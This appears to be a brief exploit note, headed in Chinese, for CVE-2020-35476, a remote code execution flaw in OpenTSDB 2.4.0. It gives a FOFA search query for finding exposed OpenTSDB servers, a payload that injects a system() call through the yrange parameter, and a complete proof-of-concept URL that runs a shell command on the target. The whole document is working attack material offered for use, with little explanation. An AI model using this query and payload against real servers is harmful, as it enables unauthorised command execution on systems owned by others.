CVE-2020-35476_OpenTSDB_2.4.0_遠程代碼執行漏洞

# CVE-2020-35476 OpenTSDB 2.4.0 遠程代碼執行漏洞
==FOFA==

title="Opentsdb" ||body="opentsdb_header.jpg"

==Bypass Payload==

[33:system('touch/tmp/poc.txt')]

==POC==

http://opentsdbhost.local/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('touch/tmp/poc.txt')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json